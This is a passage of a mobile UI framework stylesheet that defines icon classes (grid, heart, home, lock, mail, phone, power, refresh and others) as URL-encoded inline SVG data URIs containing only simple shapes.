url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M13.621%2C5.904l-1.036-0.259c-0.168-0.042-0.303-0.168-0.355-0.332c-0.092-0.284-0.205-0.559-0.339-0.82%20c-0.079-0.153-0.073-0.337%2C0.017-0.486l0.549-0.915c0.118-0.196%2C0.088-0.448-0.075-0.61l-0.862-0.863%20c-0.162-0.163-0.414-0.193-0.611-0.075l-0.916%2C0.55C9.844%2C2.182%2C9.659%2C2.188%2C9.506%2C2.109C9.244%2C1.975%2C8.97%2C1.861%2C8.686%2C1.77%20c-0.165-0.052-0.29-0.187-0.332-0.354L8.095%2C0.379C8.039%2C0.156%2C7.839%2C0%2C7.609%2C0H6.391c-0.229%2C0-0.43%2C0.156-0.485%2C0.379L5.646%2C1.415%20C5.604%2C1.582%2C5.479%2C1.718%2C5.313%2C1.77c-0.284%2C0.092-0.559%2C0.206-0.82%2C0.34C4.339%2C2.188%2C4.155%2C2.182%2C4.007%2C2.093L3.092%2C1.544%20c-0.196-0.118-0.448-0.087-0.61%2C0.075L1.619%2C2.481C1.457%2C2.644%2C1.426%2C2.896%2C1.544%2C3.093l0.549%2C0.914%20c0.089%2C0.148%2C0.095%2C0.332%2C0.017%2C0.486C1.975%2C4.755%2C1.861%2C5.029%2C1.77%2C5.314c-0.053%2C0.164-0.188%2C0.29-0.354%2C0.332L0.379%2C5.905%20C0.156%2C5.961%2C0%2C6.161%2C0%2C6.391v1.219c0%2C0.229%2C0.156%2C0.43%2C0.379%2C0.485l1.036%2C0.26C1.582%2C8.396%2C1.717%2C8.521%2C1.77%2C8.687%20c0.092%2C0.284%2C0.205%2C0.559%2C0.34%2C0.82C2.188%2C9.66%2C2.182%2C9.844%2C2.093%2C9.993l-0.549%2C0.915c-0.118%2C0.195-0.087%2C0.448%2C0.075%2C0.61%20l0.862%2C0.862c0.162%2C0.163%2C0.414%2C0.193%2C0.61%2C0.075l0.915-0.549c0.148-0.089%2C0.332-0.095%2C0.486-0.017%20c0.262%2C0.135%2C0.536%2C0.248%2C0.82%2C0.34c0.165%2C0.053%2C0.291%2C0.187%2C0.332%2C0.354l0.259%2C1.036C5.96%2C13.844%2C6.16%2C14%2C6.39%2C14h1.22%20c0.229%2C0%2C0.43-0.156%2C0.485-0.379l0.259-1.036c0.042-0.167%2C0.168-0.302%2C0.333-0.354c0.284-0.092%2C0.559-0.205%2C0.82-0.34%20c0.154-0.078%2C0.338-0.072%2C0.486%2C0.017l0.914%2C0.549c0.197%2C0.118%2C0.449%2C0.088%2C0.611-0.074l0.862-0.863%20c0.163-0.162%2C0.193-0.415%2C0.075-0.611l-0.549-0.915c-0.089-0.148-0.096-0.332-0.017-0.485c0.134-0.263%2C0.248-0.536%2C0.339-0.82%20c0.053-0.165%2C0.188-0.291%2C0.355-0.333l1.036-0.259C13.844%2C8.039%2C14%2C7.839%2C14%2C7.609V6.39C14%2C6.16%2C13.844%2C5.96%2C13.621%2C5.904z%20M7%2C10%20c-1.657%2C0-3-1.343-3-3s1.343-3%2C3-3s3%2C1.343%2C3%2C3S8.657%2C10%2C7%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-grid:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M3%2C0H1C0.447%2C0%2C0%2C0.447%2C0%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C4%2C0.447%2C3.553%2C0%2C3%2C0z%20M8%2C0H6%20C5.447%2C0%2C5%2C0.447%2C5%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C9%2C0.447%2C8.553%2C0%2C8%2C0z%20M13%2C0h-2c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C14%2C0.447%2C13.553%2C0%2C13%2C0z%20M3%2C5H1C0.447%2C5%2C0%2C5.447%2C0%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1V6C4%2C5.447%2C3.553%2C5%2C3%2C5z%20M8%2C5H6C5.447%2C5%2C5%2C5.447%2C5%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6%20C9%2C5.447%2C8.553%2C5%2C8%2C5z%20M13%2C5h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6C14%2C5.447%2C13.553%2C5%2C13%2C5z%20M3%2C10%20H1c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C4%2C10.447%2C3.553%2C10%2C3%2C10z%20M8%2C10H6c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C9%2C10.447%2C8.553%2C10%2C8%2C10z%20M13%2C10h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1v-2C14%2C10.447%2C13.553%2C10%2C13%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-heart:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C1.872c-2-3-7-2-7%2C2c0%2C3%2C4%2C7%2C4%2C7s2.417%2C2.479%2C3%2C3c0.583-0.521%2C3-3%2C3-3s4-4%2C4-7%20C14-0.128%2C9-1.128%2C7%2C1.872z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-home:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C0%200%2C7%202%2C7%202%2C14%205%2C14%205%2C9%209%2C9%209%2C14%2012%2C14%2012%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-info:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C2c0.552%2C0%2C1%2C0.447%2C1%2C1S7.552%2C4%2C7%2C4S6%2C3.553%2C6%2C3%20S6.448%2C2%2C7%2C2z%20M9%2C11H5v-1h1V6H5V5h3v5h1V11z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-location:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C0C4.791%2C0%2C3%2C1.791%2C3%2C4c0%2C2%2C4%2C10%2C4%2C10s4-8%2C4-10C11%2C1.791%2C9.209%2C0%2C7%2C0z%20M7%2C6C5.896%2C6%2C5%2C5.104%2C5%2C4%20s0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2S8.104%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-lock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M12%2C6V5c0-2.762-2.238-5-5-5C4.239%2C0%2C2%2C2.238%2C2%2C5v1H1v8h12V6H12z%20M7.5%2C9.848V12h-1V9.848%20C6.207%2C9.673%2C6%2C9.366%2C6%2C9c0-0.553%2C0.448-1%2C1-1s1%2C0.447%2C1%2C1C8%2C9.366%2C7.793%2C9.673%2C7.5%2C9.848z%20M10%2C6H4V5c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3V6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-mail:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M0%2C3.75V12h14V3.75L7%2C9L0%2C3.75z%20M14%2C2H0l7%2C5L14%2C2z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-minus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Crect%20y%3D%225%22%20style%3D%22fill%3A%23FFFFFF%3B%22%20width%3D%2214%22%20height%3D%224%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-navigation:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2213%2C1%200%2C6%207%2C7%208%2C14%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-phone:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%22-0.01%200.008%2014%2014%22%20style%3D%22enable-background%3Anew%20-0.01%200.008%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M6.939%2C9.189C6.165%2C8.557%2C5.271%2C7.705%2C4.497%2C6.744C3.953%2C6.071%2C3.473%2C5.363%2C3.969%2C4.866l-3.482-3.48%20C-0.021%2C2.02-1.146%2C5.04%2C3.675%2C9.984c5.08%2C5.211%2C8.356%2C4.097%2C8.92%2C3.511l-3.396-3.4C8.725%2C10.568%2C8.113%2C10.146%2C6.939%2C9.189z%20%20M13.82%2C11.519v-0.004c0%2C0-2.648-2.646-2.649-2.647c-0.21-0.211-0.546-0.205-0.754%2C0.002L9.455%2C9.831l3.403%2C3.407%20c0%2C0%2C0.962-0.96%2C0.961-0.961l0.002-0.001C14.043%2C12.056%2C14.021%2C11.721%2C13.82%2C11.519z%20M5.192%2C3.644V3.642%20c0.222-0.222%2C0.2-0.557%2C0-0.758V2.881c0%2C0-2.726-2.725-2.727-2.726C2.255-0.055%2C1.92-0.05%2C1.712%2C0.156L0.751%2C1.121l3.479%2C3.482%20C4.231%2C4.604%2C5.192%2C3.645%2C5.192%2C3.644z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-plus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C5%209%2C5%209%2C0%205%2C0%205%2C5%200%2C5%200%2C9%205%2C9%205%2C14%209%2C14%209%2C9%2014%2C9%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-power:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M11.243%2C2.408c-0.392-0.401-1.024-0.401-1.415%2C0c-0.391%2C0.401-0.391%2C1.054%2C0%2C1.455%20C10.584%2C4.642%2C11%2C5.675%2C11%2C6.773s-0.416%2C2.133-1.172%2C2.91c-1.512%2C1.558-4.145%2C1.558-5.656%2C0C3.416%2C8.904%2C3%2C7.872%2C3%2C6.773%20C3%2C5.673%2C3.416%2C4.64%2C4.172%2C3.863c0.39-0.401%2C0.39-1.054%2C0-1.455c-0.391-0.401-1.024-0.401-1.415%2C0C1.624%2C3.574%2C1%2C5.125%2C1%2C6.773%20c0%2C1.647%2C0.624%2C3.199%2C1.757%2C4.365c1.134%2C1.166%2C2.64%2C1.809%2C4.243%2C1.809c1.604%2C0%2C3.109-0.645%2C4.243-1.811%20C12.376%2C9.975%2C13%2C8.423%2C13%2C6.773C13%2C5.125%2C12.376%2C3.574%2C11.243%2C2.408z%20M7%2C8.053c0.553%2C0%2C1-0.445%2C1-1v-6c0-0.553-0.447-1-1-1%20c-0.553%2C0-1%2C0.447-1%2C1v6C6%2C7.604%2C6.447%2C8.053%2C7%2C8.053z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-recycle:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M3%2C7h1L2%2C4L0%2C7h1c0%2C3.313%2C2.687%2C6%2C6%2C6c0.702%2C0%2C1.374-0.127%2C2-0.35v-2.205C8.41%2C10.789%2C7.732%2C11%2C7%2C11%20C4.791%2C11%2C3%2C9.209%2C3%2C7z%20M13%2C7c0-3.313-2.688-6-6-6C6.298%2C1%2C5.626%2C1.127%2C5%2C1.349v2.206C5.59%2C3.211%2C6.268%2C3%2C7%2C3c2.209%2C0%2C4%2C1.791%2C4%2C4%20h-1l2%2C3l2-3H13z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-refresh:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.001px%22%20height%3D%2214.002px%22%20viewBox%3D%220%200%2014.001%2014.002%22%20style%3D%22enable-background%3Anew%200%200%2014.001%2014.002%3B%22%20%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M14.001%2C6.001v-6l-2.06%2C2.06c-0.423-0.424-0.897-0.809-1.44-1.122C7.153-0.994%2C2.872%2C0.153%2C0.939%2C3.501%20c-1.933%2C3.348-0.786%2C7.629%2C2.562%2C9.562c3.348%2C1.933%2C7.629%2C0.785%2C9.562-2.562l-1.732-1c-1.381%2C2.392-4.438%2C3.211-6.83%2C1.83%20s-3.211-4.438-1.83-6.83s4.438-3.211%2C6.83-1.83c0.389%2C0.225%2C0.718%2C0.506%2C1.02%2C0.81l-2.52%2C2.52H14.001z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-search:after { background-image: 